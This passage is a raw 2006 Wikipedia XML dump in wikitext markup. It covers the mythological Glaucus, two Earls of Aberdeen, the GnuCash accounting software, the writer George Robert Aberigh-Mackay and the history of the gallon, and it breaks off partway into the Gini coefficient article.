'''Glaucus''' was a [[Corinth, Greece|Corinth]]ian king, son of [[Merope]] and [[Sisyphus]].  He angered [[Aphrodite]] and she made her horses angry during the funeral games of King [[Pelias]].  They tore him apart.  His ghost supposedly frightened horses during the [[Isthmian Games]]. He was also the father of [[Bellerophon]].

===Soldier===
'''Glaukos''' was a son of [[Hippolochus]] and a grandson of [[Bellerophon]].  He was a captain in the [[Lycian]] army under the command of his close friend and cousin [[Sarpedon]].  The Lycians in the [[Trojan War]] were allies of [[Troy]].  During the war Glaukos fought valiantly.  In the ''[[Iliad]]'' he met [[Diomedes]] in the field of battle in face to face combat.  In response to Diomedes challenge to him, Glaukos said that as a grandson of Bellerophon he would fight anybody.  On learning of Glaukos' ancestry Diomedes planted his spear in the ground and told of how his grandfather [[Oeneus]] was a close friend of Bellerophon, and declared that the two of them despite being on opposing sides should continue the friendship.  As a sign of friendship Diomedes took off his bronze armour and gave it to Glaukos.  Glaukos then had his wits taken by [[Zeus]] and gave Diomedes his gold armour.  Glaukos was in the division of Sarpedon and [[Asteropaios]] when the Trojans assaulted the greek wall.  Their division fought valiantly causing Hector to break through the wall.  During this assult Glaukos was wounded from an arrow shot by [[Teucer]] forcing him to withdrawal from combat.  Later, upon seeing Sarpedon mortally wounded, Glaukus asked for [[Apollo]] to help him rescue the body of his dying friend.  Apollo cured his wound and Glaukus rallied the Trojans around the body as they fought off the Greeks until the gods took the body away.  Later in the war, when fighting over [[Achilles]] corpse took place, Glaukos was killed by [[Odysseus]]. His body however, was rescued by [[Aeneas]] and was then taken by Apollo to Lycia for funeral rites.

There is also an [[astroid]] named after the Trojan hero.

''[[Iliad]] II, 876; VI, 199.''

&lt;!-- Image with unknown copyright status removed: [[Image:Glaucus II (Greek Mythology).jpg|thumb|left|Picture of Glaucus from a book by [[Kingsley]] (1819 - 1875) entitled ''Glaucus, or the wonders of the shore.'']] --&gt;

===Child===
'''Glaucus''' was a son of [[Minos]] and [[Pasiphae]].

One day, Glaucus was playing with a ball or [[mouse]] and suddenly disappeared. His parents went to the [[Oracle]] at [[Delphi]] who told them &quot;A marvelous creature has been born amongst you: whoever finds the true likeness for this creature will also find the child.&quot;

They interpreted this to refer to a newborn calf in Minos' herd.  Three times a day, the calf changed color from white to red to black.  [[Polyidus]] observed the similarity to the ripening of the fruit of the [[blackberry]] plant and Minos sent him to search for Glaucus.

Searching for Glaucus, Polyidus saw an [[owl]] driving [[bee]]s away from a wine-cellar in Minos' palace.  Inside the wine-cellar was a cask of honey, with Glaucus dead inside.  Minos demanded Glaucus be brought back to life, though Polyidus objected.  As Minos hugged his son's corpse, a [[snake]] appeared nearby; Polyidus killed it with Minos' sword. Another snake came for the first, and after seeing the dead snake, the second serpent left and brought back an [[herb]] which then brought the first snake back to life.  Following this example, Polyidus used the same herb to resurrect Glaucus.

Minos refused to let Polyidus leave [[Crete]] until he taught Glaucus everything he knew.  Polyidus did so, but then, at the last second before leaving, he asked Glaucus to spit in his mouth.  Glaucus did so, giving Polyidus back everything he had been taught.

Glaucus later led an army that attacked [[Italy]], introducing to them the military girdle and shield. This was the source of his Italian name, [[Labicus]], meaning &quot;girdled&quot;.


[[Category:Greek gods]]
[[Category:Greek mythological people]]
[[Category:People who fought in the Trojan War]]
[[Category:Sea and river gods]]
[[Category:Trojans]]

[[bg:Главк]]
[[de:Glaukos]]
[[es:Glauco]]
[[fr:Glaucos (dieu)]]
[[it:Glauco (Poseidone)]]
[[lt:Glaukas]]
[[nl:Glaucus (mythologie)]]
[[pl:Glaukos]]
[[pt:Glauco]]</text>
    </revision>
  </page>
  <page>
    <title>George Gordon, 1st Earl of Aberdeen</title>
    <id>12878</id>
    <revision>
      <id>39249084</id>
      <timestamp>2006-02-11T21:12:14Z</timestamp>
      <contributor>
        <username>George Burgess</username>
        <id>205776</id>
      </contributor>
      <minor />
      <comment>Succession box</comment>
      <text xml:space="preserve">[[The Right Honourable]] '''George Gordon, 1st [[Earl of Aberdeen]]''' ([[October 6]] [[1637]]&amp;ndash;[[April 20]] [[1720]]), [[List of Lord Chancellors of Scotland|Lord Chancellor of Scotland]], was the son of Sir John Gordon, 1st baronet of [[Haddo]], [[Aberdeenshire (traditional)|Aberdeenshire]], executed by the Presbyterians in 1644, and his wife, Mary Forbes.  

He graduated M.A., and was chosen professor at [[Aberdeen University|King's College, Aberdeen]], in 1658.  Subsequently he travelled and studied civil law abroad.  At the [[English Restoration|Restoration]] the sequestration of his father's lands was annulled, and in [[1665]] he succeeded by the death of his elder brother to the baronetcy and estates.  He returned home in 1667, was admitted advocate in [[1668]] and gained a high legal reputation.  He represented Aberdeenshire in the [[Parliament of Scotland]] of [[1669]] and in the following assemblies, during his first session strongly opposing the projected union of the two legislatures.  In [[November]] [[1678]] he was made a [[Privy Council of Scotland|Privy Counsellor]] for [[Scotland]], and in [[1680]] was raised to the [[Court of Session|bench]] as Lord Haddo.  He was a leading member of the [[duke of York]]'s administration, was created a [[Lords of the Articles|Lord of the Articles]] in [[June]] and in [[November]] [[1681]] [[Privy Council of Scotland|Lord President of the Privy Council]].  The same year he is reported as moving in the council for the torture of witnesses. 

In [[1682]] he was made Lord Chancellor of Scotland, and was created, on the 13th of [[November]], earl of [[Aberdeen, Scotland|Aberdeen]], [[Viscount Formartine]], and Lord Haddo, Methllck, Tarves and Kellie, in the Scottish peerage, being appointed also [[Sheriff Principal]] of Aberdeenshire and Midlothian.  

Burnet reflects unfavourably upon him, calls him ''a proud and covetous man,'' and declares:
:''the new chancellor exceeded all that had gone before him.''

He executed the laws enforcing religious conformity with severity, and filled the parish churches, but resisted the excessive measures of tyranny prescribed by the English government; and in consequence of an intrigue of the [[duke of Queensberry]] and Lord Perth, who gained the duchess of Portsmouth with a present of £27,000, he was dismissed in [[1684]].  

After his fall he was subjected to various petty prosecutions by his victorious rivals with the view of discovering some act of maladministration on which to found a charge against him, but the investigations only served to strengthen his credit.  He took an active part in parliament in [[1685]] and 1686, but remained a non-juror during the whole of [[William III of England|William]]'s reign, being frequently fined for his non-attendance, and took the oaths for the first time after Anne's accession, on the 11th of May [[1703]].  

In the great affair of the [[Act of Union, 1707|Union in 1707]], while protesting against the completion of the treaty till the act declaring the Scots aliens should be repealed, he refused to support the opposition to the measure itself and refrained from attending parliament when the treaty was settled.  

He is described by John Mackay as 
:''very knowing in the laws and constitution of his country and is belleved to be the solidest statesman in Scotland, a fine orator, speaks slow but sure.'' 

His person was said to be deformed, and his ''want of mine or deportment'' was alleged as a disqualification for the office of Lord Chancellor.  

In [[1671]] he married [[Anne Lockhart, Countess of Aberdeen|Anne Lockhart]], daughter and (eventual) sole heiress of [[George Lockhart of Tarbrax]], by whom he had six children, his only surviving son, William, succeeding him as 2nd earl of Aberdeen. He died on [[April 20]] [[1720]], after having amassed a large fortune.  

{{Wikisource1911Enc|Aberdeen, George Gordon, 1st Earl of}}
{{1911}}

{{start box}}
{{succession box|title=[[Lord Chancellor of Scotland]]|before=[[John Leslie, 1st Duke of Rothes]]|after=[[James Drummond, 1st Duke of Perth|James Drummond, 4th Earl of Perth]]|years=1682-84}}
{{end box}}

{| border=&quot;2&quot; align=&quot;center&quot;
|-
|width=&quot;30%&quot; align=&quot;center&quot;|Preceded by:&lt;br&gt;'''New Creation'''
|width=&quot;40%&quot; align=&quot;center&quot;|'''[[Marquess of Aberdeen and Temair|Earl of Aberdeen]]'''
|width=&quot;30%&quot; align=&quot;center&quot;|Succeeded by:&lt;br&gt;'''[[William Gordon, 2nd Earl of Aberdeen|William Gordon]]'''
|}

[[Category:1637 births|Aberdeen, George Gordon, 1st Earl of]]
[[Category:1720 deaths|Aberdeen, George Gordon, 1st Earl of]]
[[Category:Earls in the Peerage of Scotland|Aberdeen, George Gordon, 1st Earl of]]
[[Category:Presidents of the Privy Council of Scotland|Aberdeen, Earl]]
[[Category:Scottish scholars|Aberdeen, Earl]]
[[Category:University of Aberdeen alumni|Aberdeen, Earl]]
[[Category:Natives of Aberdeenshire|Aberdeen, Earl]]</text>
    </revision>
  </page>
  <page>
    <title>George Hamilton-Gordon, 4th Earl of Aberdeen</title>
    <id>12879</id>
    <revision>
      <id>41227148</id>
      <timestamp>2006-02-25T22:42:55Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>cats</comment>
      <text xml:space="preserve">{{Infobox BPM
 | name=[[The Right Honourable|The Rt. Hon.]] The Earl of Aberdeen
 | image=4th Earl of Aberdeen.jpg
 | kingdom=the United Kingdom
 | term=December, 1852 &amp;ndash; February, 1855
 | before=[[Edward Smith-Stanley, 14th Earl of Derby|The Earl of Derby]]
 | after=[[Henry John Temple, 3rd Viscount Palmerston|The Viscount Palmerston]]
 | date_birth=[[28 January]] [[1784]]
 | place_birth=[[Edinburgh]]
 | date_death=[[14 December]] [[1860]]
 | place_death=[[London]]
 | party=[[Peelite]]
}}

'''George Hamilton-Gordon, 4th Earl of Aberdeen''', [[Privy Council of the United Kingdom|PC]] ([[January 28]], 1784&amp;ndash;[[December 14]], [[1860]]) was a [[Scotland|Scottish]] [[Tory]]/[[Peelite]] politician who served as [[Prime Minister of the United Kingdom]] from 1852 until 1855.

==Parentage==
Born in [[Edinburgh]] on the 28th of January 1784, he lost his father in 1791 and his mother in 1795.

He was the eldest son of [[George Gordon]], [[Lord Haddo]].

==Upbringing and education==
He was brought up by [[Henry Dundas, Viscount Melville]]. He was educated at [[Harrow School|Harrow]], and [[St John's College, Cambridge]], where he graduated in 1804.

==Period 1801&amp;ndash;1812==
Before this, however, he had become [[Earl of Aberdeen]] on his grandfather's death in 1801, and had travelled all over [[Europe]]. On his return to [[England]] founded the [[Athenian Society]]. In 1805, he married [[Catherine Elizabeth Hamilton]], daughter of [[John James Hamilton, 1st Marquess of Abercorn|Lord Abercorn]]. In December he took his seat as a [[Tory]] [[Scottish representative peer]] in the [[House of Lords]]. In 1808, he was created a [[Knight of the Thistle]].

==Official and political career==
Following the death of his wife in 1812 he joined the Foreign Service. He was appointed ambassador extraordinary and minister plenipotentiary at [[Vienna]], where he signed the [[Treaty of Toplitz]] between [[United Kingdom|Britain]] and Austria in October 1813. He was one of the British representatives at the [[Congress of Chatillon]] in February 1814, and at the negotiations which led to the [[Treaty of Paris (1815)|Treaty of Paris]] in the following May.

Returning home he was created a peer of the United Kingdom as '''Viscount Gordon''', of Aberdeen in the County of Aberdeen (1814), and made a member of the [[Privy Council of the United Kingdom|Privy Council]]. In July 1815 he married Harriet, daughter of John Douglas, and widow of James, Viscount Hamilton. During the ensuing thirteen years Aberdeen took a less prominent part in public affairs.

He served as Chancellor of the Duchy of Lancaster (1828) and Foreign Secretary (1829-30) under [[Arthur Wellesley, 1st Duke of Wellington]]. He resigned with Wellington over the Reform Bill of 1832. He was Secretary for the Colonies (1834-35) and then Foreign Secretary (1841-46) under [[Robert Peel]]. It was during his second stint as Foreign Secretary that he settled two disagreements with the US - the Northeast Boundary dispute by the [[Webster-Ashburton Treaty]] (1842), and the [[Oregon boundary dispute|Oregon dispute]] by the [[Oregon Treaty]] of 1846.  He also worked successfully to improve relationships with France. He again followed his leader and resigned with Peel over the issue of the Corn Laws.

After Peel's death in 1850 he became the recognized leader of the [[Peelites]]. His dislike of the [[Ecclesiastical Titles Assumption Bill]], the rejection of which he failed to secure in 1851, prevented him from joining the government of [[Lord John Russell]].

In December 1852, however, be became Prime Minister and headed a coalition ministry of Whigs and Peelites.  Although united on free trade and on questions of domestic reform, his cabinet which contained Lord Palmerston and Lord John Russell, was certain to differ on questions of foreign policy.

He entered the country into the Crimean War on the side of the [[Ottoman Empire]] following pressure from some of his cabinet. Palmerston, supported by Russell, favoured a more aggressive policy, and Aberdeen, unable to control Palmerston, acquiesed.

However the war proved his downfall. As reports returned detailing the mis-management of the conflict Russell resigned; and on [[29 January]] [[1855]] a motion for the appointment of a select committee to enquire into the conduct of the war, was carried by a large majority. Treating this as a vote of confidence Aberdeen resigned.

==Death, successors to title, and other personal matters==
[[Image:George-Hamilton-Gordon-arms.PNG|thumb|right|150px|Arms of George Hamilton-Gordon]]
He died in London on [[14 December]] [[1860]], and was buried in the family vault at Stanmore.

By his first wife he had one son and three daughters, all of whom predeceased their father.  By his second wife, who died in August 1833, he left four sons and one daughter.  His eldest son, George John James, succeeded as 5th Earl; his second son was General Sir Alexander Hamilton-Gordon, K.C.B.; his third son was the Reverend Douglas Hamilton-Gordon; and his youngest son Arthur Hamilton, was created Baron Stanmore in 1893. 

Aberdeen was a distinguished scholar.  His private life is believed to be exemplary by the standards of the day. His manner was lofty and reserved, and as a speaker he was ponderous rather than eloquent. It is said that he lacked strength and his foreign policy was essentially one of peace and non-intervention.

On his death his title passed to his son [[George John James Hamilton-Gordon, 5th Earl of Aberdeen|George John James Hamilton-Gordon]] (1816-1864) whose eldest son [[George Hamilton-Gordon, 6th Earl of Aberdeen|George Hamilton-Gordon]] (1841-1870) became the 6th earl. When he was drowned at sea, he was succeeded by his brother [[John Campbell Hamilton-Gordon, 1st Marquess of Aberdeen and Temair|John Campbell Hamilton-Gordon]] (1847-1934), a prominent Liberal politician, who was [[Lord Lieutenant of Ireland]] in 1886, [[Governor-General of Canada]] (1893-1898), and again the Lord-Lieutenant of Ireland when Sir [[Henry Campbell-Bannerman]] formed his ministry at the close of 1905. He was made [[Marquess of Aberdeen and Temair]] on [[4 January]] [[1916]].

==Lord Aberdeen's Government, December 1852 - February 1855==
*Lord Aberdeen - [[First Lord of the Treasury]] and [[Leader of the House of Lords]]
*[[Robert Monsey Rolfe Cranworth, Baron|Lord Cranworth]] - [[Lord Chancellor]]
*[[Granville George Leveson-Gower, 2nd Earl Granville|Lord Granville]] - [[Lord President of the Council]]
*The [[George Douglas Campbell, 8th Duke of Argyll|Duke of Arygll]] - [[Lord Privy Seal]]
*[[Henry John Temple, 3rd Viscount Palmerston|Lord Palmerston]] - [[Secretary of State for the Home Department]]
*[[Lord John Russell]] - [[Secretary of State for Foreign Affairs]] and [[Leader of the House of Commons]]
*The [[Henry Pelham-Clinton, 5th Duke of Newcastle|Duke of Newcastle]] - [[Secretary of State for War and the Colonies]]
*Sir [[James Robert George Graham|James Graham]] - [[First Lord of the Admiralty]]
*[[William Ewart Gladstone]] - [[Chancellor of the Exchequer]]
*Sir [[Charles Wood, 1st Viscount Halifax|Charles Wood]] - [[President of the Board of Control]]
*Sir [[William Molesworth]] - [[First Commissioner of Works]]
*[[Sidney Herbert]] - [[Secretary at War]]
*[[Henry Petty-Fitzmaurice, 3rd Marquess of Lansdowne|Lord Lansdowne]] - Minister without Portfolio

'''Changes'''
*February, 1853 - Lord John Russell becomes Minister without Portfolio, remaining Leader of the Commons.  Lord Clarendon succeeds him as Foreign Secretary.
*June, 1854 - Lord Granville becomes [[Chancellor of the Duchy of Lancaster]].  Lord John Russell succeeds him as Lord President, remaining also Leader of the Commons.  The Secretaryship of State for War and the Colonies is split up.  The Duke of Newcastle stays on as [[Secretary of State for War]], while [[Sir George Grey, 2nd Baronet|Sir George Grey]] becomes [[Secretary of State for the Colonies]].

==Succession==

{{start box}}
{{succession box | title=[[Chancellor of the Duchy of Lancaster]] | before=[[Nicholas Vansittart, 1st Baron Bexley|The Lord Bexley]] | after=[[Charles Arbuthnot]] | years=1828}}
{{succession box | title=[[Secretary of State for Foreign Affairs|Foreign Secretary]] | before=[[John William Ward, 1st Earl of Dudley|The Earl of Dudley]] | after=[[Henry John Temple, 3rd Viscount Palmerston|The Viscount Palmerston]] | years=1828&amp;ndash;1830}}
{{succession box | title=[[Secretary of State for War and the Colonies]] | before=[[Thomas Spring Rice, 1st Baron Monteagle|Thomas Spring Rice]] | after=[[Charles Grant, 1st Baron Glenelg|The Lord Glenelg]] | years=1834&amp;ndash;1835}}
{{succession box | title=[[Secretary of State for Foreign Affairs|Foreign Secretary]] | before=[[Henry John Temple, 3rd Viscount Palmerston|The Viscount Palmerston]] | after=[[Henry John Temple, 3rd Viscount Palmerston|The Viscount Palmerston]] | years=1841&amp;ndash;1846}}
{{succession box one to two| title1=[[Leader of the House of Lords]] | title2=[[Prime Minister of the United Kingdom|Prime Minister of the United Kingdom]]| before=[[Edward Geoffrey Smith Stanley, 14th Earl of Derby|The Earl of Derby]] | after1=[[Granville George Leveson-Gower, 2nd Earl Granville|The Earl Granville]] | after2=[[Henry John Temple, 3rd Viscount Palmerston|The Viscount Palmerston]] | years1=1852&amp;ndash;1855| years2=1852&amp;ndash;1855}}
{{end box}}

{{start box}}
{{succession box two to one | title1=[[Marquess of Aberdeen and Temair|Earl of Aberdeen]] | title2=[[Marquess of Aberdeen and Temair|Viscount Gordon]] | before1=[[George Gordon, 3rd Earl of Aberdeen|George Gordon]] | before2=New Creation | after=[[George Hamilton-Gordon, 5th Earl of Aberdeen|George Hamilton-Gordon]] | years1=1801&amp;ndash;1860 | years2=1814&amp;ndash;1860}}
{{end box}}

==Reference==
{{Wikisource1911Enc|Aberdeen, George Hamilton Gordon, 4th Earl of}}
{{1911}}
{{UKPrimeMinisters}}

[[Category:1784 births|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:1860 deaths|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Edinburghers|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Alumni of St. John's College, Cambridge|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Anglo-Scots|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:British Secretaries of State|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Chancellors of the Duchy of Lancaster|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Earls in the Peerage of Scotland|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Edinburghers|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Knights of the Garter|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Knights of the Thistle|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Prime Ministers of the United Kingdom|Aberdeen, George Hamilton-Gordon, 4th Earl of]]
[[Category:Scottish representative peers|Aberdeen, George Hamilton-Gordon, 4th Earl of]]

[[de:George Hamilton-Gordon, 4. Earl of Aberdeen]]
[[fr:George Hamilton-Gordon]]
[[it:George Hamilton Gordon]]
[[pl:George Hamilton-Gordon]]
[[ru:Эбердин, Джордж Гамильтон Гордон]]
[[sv:George Hamilton-Gordon Aberdeen]]
[[uk:Абердін Джордж Гамільтон Гордон]]
[[zh:乔治·汉密尔顿·戈登 (阿伯丁伯爵)]]</text>
    </revision>
  </page>
  <page>
    <title>GnuCash</title>
    <id>12880</id>
    <revision>
      <id>38997370</id>
      <timestamp>2006-02-10T00:52:11Z</timestamp>
      <contributor>
        <username>Scollk</username>
        <id>106329</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox Software |
  name = GnuCash |
  screenshot = [[Image:GnuCash.gif|250px]] |
  caption = GnuCash under GNU/Linux  |
  developer = GnuCash development team |
  latest_release_version = 1.9.0 |
  latest_release_date = [[February 09]], [[2006]] |
  operating_system = [[Cross-platform]] |
  genre = [[Accounting]] |
  license = [[GNU General Public License|GPL]] |
  website = [http://www.gnucash.org/ www.gnucash.org] |
}}
'''GnuCash''' is a [[Free Software]] [[double-entry book-keeping]] [[personal finance]] system.  It was initially aimed at developing capabilities similar to [[Intuit, Inc.|Intuit's]] [[Quicken]] application, but also has features for [[small business]] accounting.  Recent development has been focused on adapting to modern desktop support-library requirements.

GnuCash is part of the [[GNOME]] desktop environment, and runs on [[GNU/Linux]], [[FreeBSD]], [[Solaris Operating Environment|Solaris]], [[Mac OS X]] and other [[Unix-like]] platforms.

On [[February 9]] [[2006]], the GnuCash Development Team released GnuCash 1.9.0, the first of several unstable 1.9.x releases which will eventually lead to the stable version 2.0.0. A notable change is the highly anticipated conversion to [[GTK2]].

==Features==
*Double-Entry bookkeeping
*Scheduled Transactions
*Mortgage &amp; Loan Repayment Druid
*Small Business Accounting Features
*[[OFX]], [[QIF]] Import
*[[HBCI]] Support
*Transaction-Import Matching Support
*(Limited) Multi-User [[SQL]] Support
*Multi-Currency Transaction Handling
*Stock/Mutual Fund Portfolios
*Online Stock &amp; Mutual Fund Quotes

==See also==
*[[Accounting software]]

== External links ==
* [http://www.gnucash.org/ GnuCash homepage]
* [http://wiki.gnucash.org/wiki/ GnuCash Wiki]
* [http://sourceforge.net/projects/gnucash/ SourceForge project page]
* [http://www.gnucash.org/docs/C/gnucash-guide/ GnuCash Tutorial and Concepts Guide]

{{linux-stub}}

[[Category:Accounting software]]
[[Category:GNOME]]
[[Category:SourceForge projects]]

[[de:GnuCash]]
[[es:GnuCash]]
[[eo:GnuCash]]
[[it:GnuCash]]
[[pl:GnuCash]]</text>
    </revision>
  </page>
  <page>
    <title>George Robert Aberigh-Mackay</title>
    <id>12881</id>
    <revision>
      <id>40364165</id>
      <timestamp>2006-02-20T01:56:30Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''George Robert Aberigh-Mackay''' ([[July 25]], [[1848]]-[[1881]]), [[Anglo-Indian]] [[writer]], son of a Bengal [[chaplain]], was educated at [[Magdalen College School, Oxford]] and [[University of Cambridge|Cambridge University]]. Entering the Indian education department in [[1870]], he became professor of English literature in Delhi College in [[1873]], tutor to the [[Raja of Rutlam]] in [[1876]], and principal of the [[Rajkumar College]] at Indore in [[1877]].

He is best known for his book ''[[Twenty-one Days in India]]'' ([[1878]]-[[1879]]), a satire upon [[Anglo-Indian]] society and modes of thought. This book gave promise of a successful literary career, but the author died at the age of thirty-three.

==External links==
{{Wikisource1911Enc|Aberigh-Makay, George Robert}}
*{{gutenberg author|id=George_Robert_Aberigh-Mackay|name=George Robert Aberigh-Mackay}}

{{1911}}
{{India-bio-stub}}
[[Category:1848 births|Aberigh-Mackay, George Robert]]
[[Category:1881 deaths|Aberigh-Mackay, George Robert]]
[[Category:Indian writers|Aberigh-Mackay, George Robert]]
[[es: George Robert Aberigh-Mackay]]</text>
    </revision>
  </page>
  <page>
    <title>Gallon</title>
    <id>12882</id>
    <revision>
      <id>41734434</id>
      <timestamp>2006-03-01T10:43:20Z</timestamp>
      <contributor>
        <username>Tlusťa</username>
        <id>649807</id>
      </contributor>
      <minor />
      <comment>+[[cs:Galon]]</comment>
      <text xml:space="preserve">The '''gallon''' (abbr. ''gal'') is an [[English unit]] of volume used for measuring liquids (as well as dry matter), with varying definitions between [[1 E-3 m³|3½ and 4¾ litre]]s ([[litre|L]]). The word has also been used as translation for several foreign units of the same magnitude.

== Today ==
* An '''[[Imperial unit|Imperial gallon]]''' is exactly 4.54609 [[litre]]s.
* A '''[[U.S. customary units|US (liquid) gallon]]''' is exactly 231 [[cubic inch|in³]] (3.785411784 L).
The ratio between them is approximately 6:5.

Both these gallons in current use—differentiated if necessary by a prefix “US” or “Imp.”—are subdivided into eight [[pint]]s, but the US pint is further subdivided into 16 ounces (fl.oz.), whereas the Imperial one holds 20 fl.oz.   A gallon can also be subdivided into four [[quart]]s; the US holding 32 fl.oz. and the Imperial quart being 40 fl. oz.  Therefore a US fl oz is ca. 29.6&amp;nbsp;ml and an Imp.fl.oz. is ca. 28.4&amp;nbsp;ml. Thus the US fluid ounce and all its subdivisions are bigger than their Imperial equivalents, but all the other, larger US liquid measures, including the gallon, are smaller than their Imperial counterparts.

''See also:'' [[Comparison of the Imperial and US customary systems]]

== History ==

At one time, the volume of a gallon depended on what was being measured, and where it was being measured. But, by the end of the [[18th century]], three definitions were in common use:
* The '''corn gallon''', or “Winchester gallon”, of about 268.8 in³ (4.405 L),
* the '''wine gallon''', or “Queen Anne’s gallon”, which was 231 in³ (3.79 L), and
* the '''ale gallon''' of 282 in³ (4.62 L).

The ''corn'' or ''dry gallon'' was used in the United States until recently for grain and other dry commodities. It is one eighth of the [[bushel|(Winchester) bushel]], originally a cylindrical measure of 18½ [[inch]]es in diameter and 8 inches depth. That made the dry gallon 9¼²·[[Pi|&amp;pi;]] in³ = 268.80252 in³. The bushel, which like dry [[quart]] and pint still sees some use, was later defined to be 2150.42 in³ exactly, making its gallon 268.8025 in³ exactly ([[1 E-3 m³|4.404 842 803 2 L]]).
In previous centuries there had been a corn gallon of around 271 to 272 cubic inches, too.

The ''wine'', ''fluid'' or ''liquid gallon'' is the standard US gallon since the early 19th century. The wine gallon, which some sources relate to the volume occupied by eight medieval [[English unit#Weight|merchant pound]]s of wine, was at one time defined as the volume of a cylinder six inches deep and seven inches in diameter, i.e. 6·3½²·&amp;pi; = 230.90706 in³. It had been redefined during the reign of [[Anne of Great Britain|Queen Anne]], in [[1706]], as 231 in³ exactly (3 × 7 × 11 in³), which is the result of the earlier definition with &amp;pi; approximated to &lt;sup&gt;22&lt;/sup&gt;&amp;frasl;&lt;sub&gt;7&lt;/sub&gt;. Although the wine gallon had been used for centuries for import duty purposes there was no legal standard of it in the [[Exchequer]] and a smaller gallon (224 in³) was actually in use, so this statute became necessary. It remains the U.S. definition today.

The original ratio between corn and wine gallon is 9¼²:6·3½² = 1369:1176, but 268.8:231 &lt;!--= 2&lt;sup&gt;6&lt;/sup&gt;·3·5&lt;sup&gt;&amp;minus;1&lt;/sup&gt;·7:3·7·11--&gt; is exactly 64:55&lt;!-- = 1.1(63)--&gt; or ca. 13:11. This approximation is still applicable, although the ratio of 1.164 115 646 slightly changed to 1.163 647 186 with current definitions (268.8025:231 = 107521:92400 ~= 1344:1165).
In some contexts it is or was necessary to disambiguate between those two US gallons, so “liquid” or “fluid” and “dry” respectively are then added to the name.

In [[1824]], Great Britain adopted a close approximation to the ''ale gallon'' known as the ''Imperial gallon'' and abolished all other gallons in favour of it. Inspired by the [[kilogram]]–litre relationship, the Imperial gallon was based on the volume of 10 [[Pound (weight)|lb.]] of distilled water weighed in air with brass weights with the barometer standing at 30 [[inch of mercury|inches of mercury]] and at a temperature of 62 [[Fahrenheit|°F]]. In [[1963]], this definition was refined as the space occupied by 10 lb of distilled water of density 0.998 859 g/mL weighed in air of density 0.001 217 g/mL against weights of density 8.136 g/mL. This works out at approximately  4.546&amp;nbsp;090&amp;nbsp;3 L (277.441&amp;nbsp;6 in³). The metric definition of exactly 4.546&amp;nbsp;09 dm³ (also 4.546&amp;nbsp;09 L after the litre was redefined in 1964, ca. 277.419&amp;nbsp;433 in³) was adopted shortly afterward in Canada; for several years, the conventional value of 4.546&amp;nbsp;092 L was used in the UK, until the Canadian convention was adopted in 1985.

Before and into the 19th century there were also several other gallons in use.
Examples:
; 224 in³ : standard wine gallon preserved at the [[Guildhall]] 
; 231 in³ : statute of 5th of Queen Anne 
; 264.8 in³ : ancient Rumford quart ([[1228]]) 
; 265.5 in³ : Exchequer ([[Henry VII]]., [[1091]], with rim) 
; 266.25 in³ : ancient Rumford ([[1228]]) 
; 268.75 in³ : Winchester, statute 13 + 14 by [[William III of England|William III]]. 
; 271 in³ &amp;minus; 2 spoonfuls : Exchequer (Henry VII., [[1601]], ''E.E.'') 
; 271 in³ : Exchequer ([[1601]], ''E.''), ''corn'' 
; 272 in³ : corn ([[1688]]) 
; 277.18 in³ : coal, statute 12 of Anne 
; 278 in³ : Exchequer (Henry VII., with copper rim) 
; 278.4 in³ : Exchequer ([[1601]] and [[1602]] pints) 
; 280 in³ : Exchequer ([[1601]] quart) 
; 282 in³ : Treasury (gallon for beer and ale) 

[[Category:Units of volume]]
[[Category:Imperial units]]
[[Category:Customary units in the United States]]

[[bg:Галон]]
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  </page>
  <page>
    <title>Gini coefficient</title>
    <id>12883</id>
    <revision>
      <id>39214753</id>
      <timestamp>2006-02-11T15:44:14Z</timestamp>
      <contributor>
        <username>Marcika</username>
        <id>42989</id>
      </contributor>
      <comment>added footnote</comment>
      <text xml:space="preserve">The '''Gini coefficient''' is a measure of inequality developed by the [[Italy|Italian]] [[statistics|statistician]] [[Corrado Gini]] and published in his [[1912]] paper &quot;Variabilità e mutabilità&quot;. It is usually used to measure [[income]] inequality, but can be used to measure any form of uneven distribution. The Gini [[coefficient]] is a [[number]] between 0 and 1, where 0 corresponds with perfect equality (where everyone has the same income) and 1 corresponds with perfect inequality (where one person has all the income, and everyone else has zero income). The '''Gini index''' is the Gini coefficient expressed in [[percentage]] form, and is equal to the Gini coefficient multiplied by 100.

While the Gini coefficient is mostly used to measure income inequality, it can also be used to measure [[wealth]] [[Wealth condensation|inequality.]] This use requires that no one has a negative net wealth.

== Calculation ==
[[Image:Economics_Gini_coefficient.png|frame|right|Graphical representation of the Gini coefficient]]

The Gini coefficient is calculated as a [[ratio]] of the areas on the [[Lorenz curve]] diagram. If the area between the line of perfect equality and Lorenz curve is A, and  the area underneath the Lorenz curve is B, then the Gini coefficient is A/(A+B).  This ratio is expressed as a percentage or as the numerical equivalent of that percentage, which is always a number between 0 and 1. 

The Gini coefficient is often calculated with the more practical Brown Formula shown below:

&lt;math&gt;G = | 1 - \sum_{k=1}^{n} (X_{k} - X_{k-1}) (Y_{k} + Y_{k-1}) |&lt;/math&gt;

G: Gini coefficient&lt;br&gt;
X&lt;sub&gt;k&lt;/sub&gt;: cumulated proportion of the population variable, for k = 0,...,n, with X&lt;sub&gt;0&lt;/sub&gt; = 0, X&lt;sub&gt;n&lt;/sub&gt; = 1&lt;br&gt;
Y&lt;sub&gt;k&lt;/sub&gt;: cumulated proportion of the income variable, for k = 0,...,n, with Y&lt;sub&gt;0&lt;/sub&gt; = 0, Y&lt;sub&gt;n&lt;/sub&gt; = 1&lt;br&gt;
&lt;br clear=&quot;both&quot; /&gt;

The small sample variance properties of G are not known, and large sample approximations to the variance of G are poor. In order for G to be an unbiased estimate of the true population value, it should be multiplied by n/(n-1).
